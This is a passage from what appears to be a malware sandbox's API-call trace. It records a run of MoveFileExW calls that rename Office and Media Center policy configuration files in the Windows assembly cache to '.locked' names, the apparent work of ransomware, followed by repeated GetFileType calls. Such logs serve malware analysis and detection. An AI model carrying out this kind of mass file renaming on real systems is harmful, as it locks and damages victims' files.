"c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.powerpoint.config.locked"), dwFlags=0x2) returned 1 [0191.705] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Publisher.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.publisher.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Publisher.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.publisher.config.locked"), dwFlags=0x2) returned 1 [0191.712] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.SmartTag.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.smarttag.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.SmartTag.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.smarttag.config.locked"), dwFlags=0x2) returned 1 [0191.722] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.visio.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.visio.config.locked"), dwFlags=0x2) returned 1 [0191.731] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.visio.saveasweb.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.visio.saveasweb.config.locked"), dwFlags=0x2) returned 1 [0191.739] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.visocx.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.visocx.config.locked"), dwFlags=0x2) returned 1 [0191.746] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.word.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Word.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.office.interop.word.config.locked"), dwFlags=0x2) returned 1 [0191.753] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Vbe.Interop.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.vbe.interop.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Vbe.Interop.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\policy.11.0.microsoft.vbe.interop.config.locked"), dwFlags=0x2) returned 1 [0191.761] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.office.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\policy.11.0.office.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.office.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\policy.11.0.office.config.locked"), dwFlags=0x2) returned 1 [0191.770] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.config.locked"), dwFlags=0x2) returned 1 [0191.783] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.client.internal.host\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.client.internal.host.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.client.internal.host\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.client.internal.host.config.locked"), dwFlags=0x2) returned 1 [0191.791] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.FormControl.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.formcontrol\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.formcontrol.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.FormControl.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.formcontrol\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.formcontrol.config.locked"), dwFlags=0x2) returned 1 [0191.799] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Permission.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.permission\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.permission.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Permission.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.permission\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.permission.config.locked"), dwFlags=0x2) returned 1 [0191.806] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.access.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.access.config.locked"), dwFlags=0x2) returned 1 [0191.814] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.Dao.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access.dao\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.access.dao.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.Dao.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access.dao\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.access.dao.config.locked"), dwFlags=0x2) returned 1 [0191.821] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Excel.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.excel.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Excel.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.excel.config.locked"), dwFlags=0x2) returned 1 [0191.828] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Graph.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.graph.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Graph.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.graph.config.locked"), dwFlags=0x2) returned 1 [0191.836] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.infopath.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.infopath.config.locked"), dwFlags=0x2) returned 1 [0191.845] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.infopath.xml.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.infopath.xml.config.locked"), dwFlags=0x2) returned 1 [0191.853] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.MSProject.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.msproject.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.MSProject.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.msproject.config.locked"), dwFlags=0x2) returned 1 [0191.860] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.outlook.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.outlook.config.locked"), dwFlags=0x2) returned 1 [0191.869] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.outlookviewctl.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.OutlookViewCtl.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlookviewctl\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.outlookviewctl.config.locked"), dwFlags=0x2) returned 1 [0191.876] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.powerpoint.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.PowerPoint.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.powerpoint\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.powerpoint.config.locked"), dwFlags=0x2) returned 1 [0191.883] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Publisher.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.publisher.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Publisher.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.publisher\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.publisher.config.locked"), dwFlags=0x2) returned 1 [0191.890] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.SmartTag.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.smarttag.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.SmartTag.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.smarttag.config.locked"), dwFlags=0x2) returned 1 [0191.902] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.visio.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.visio.config.locked"), dwFlags=0x2) returned 1 [0191.910] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.visio.saveasweb.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.visio.saveasweb.config.locked"), dwFlags=0x2) returned 1 [0191.917] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.VisOcx.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.visocx.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.VisOcx.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.visocx.config.locked"), dwFlags=0x2) returned 1 [0191.924] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Word.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.word.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Word.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.word\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.word.config.locked"), dwFlags=0x2) returned 1 [0191.931] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Vbe.Interop.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.vbe.interop.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Vbe.Interop.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.vbe.interop.config.locked"), dwFlags=0x2) returned 1 [0191.939] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.office.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\policy.12.0.office.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.office.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\policy.12.0.office.config.locked"), dwFlags=0x2) returned 1 [0191.947] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.ehrecobj\\6.1.0.0__31bf3856ad364e35\\policy.6.0.ehrecobj.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.ehrecobj\\6.1.0.0__31bf3856ad364e35\\policy.6.0.ehrecobj.config.locked"), dwFlags=0x2) returned 1 [0191.954] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter\\6.1.0.0__31bf3856ad364e35\\policy.6.0.microsoft.mediacenter.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter\\6.1.0.0__31bf3856ad364e35\\policy.6.0.microsoft.mediacenter.config.locked"), dwFlags=0x2) returned 1 [0191.961] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter.ui\\6.1.0.0__31bf3856ad364e35\\policy.6.0.microsoft.mediacenter.ui.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter.UI\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.UI.config.locked" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter.ui\\6.1.0.0__31bf3856ad364e35\\policy.6.0.microsoft.mediacenter.ui.config.locked"), dwFlags=0x2) returned 1 [0192.181] GetFileType (hFile=0xc8) returned 0x1 [0192.184] GetFileType (hFile=0xc4) returned 0x1 [0192.185] GetFileType (hFile=0xc8) returned 0x1 [0192.187] GetFileType (hFile=0xc4) returned 0x1 [0192.188] GetFileType (hFile=0xc8) returned 0x1 [0192.190] GetFileType (hFile=0xc4) returned 0x1 [0192.191] GetFileType (hFile=0xc8) returned 0x1 [0192.192] GetFileType (hFile=0xc4) returned 0x1 [0192.194] GetFileType (hFile=0xc8) returned 0x1 [0192.195] GetFileType (hFile=0xc4) returned 0x1 [0192.196] GetFileType (hFile=0xc8) returned 0x1 [0192.198] GetFileType (hFile=0xc4) returned 0x1 [0192.199] GetFileType (hFile=0xc8) returned 0x1 [0192.200] GetFileType (hFile=0xc4) returned 0x1 [0192.202] GetFileType (hFile=0xc8) returned 0x1 [0192.203] GetFileType (hFile=0xc4) returned 0x1 [0192.204] GetFileType (hFile=0xc8) returned 0x1 [0192.206] GetFileType (hFile=0xc4) returned 0x1 [0192.207] GetFileType (hFile=0xc8) returned 0x1 [0192.209] GetFileType (hFile=0xc4) returned 0x1 [0192.210] GetFileType (hFile=0xc8) returned 0x1 [0192.211] GetFileType (hFile=0xc4) returned 0x1 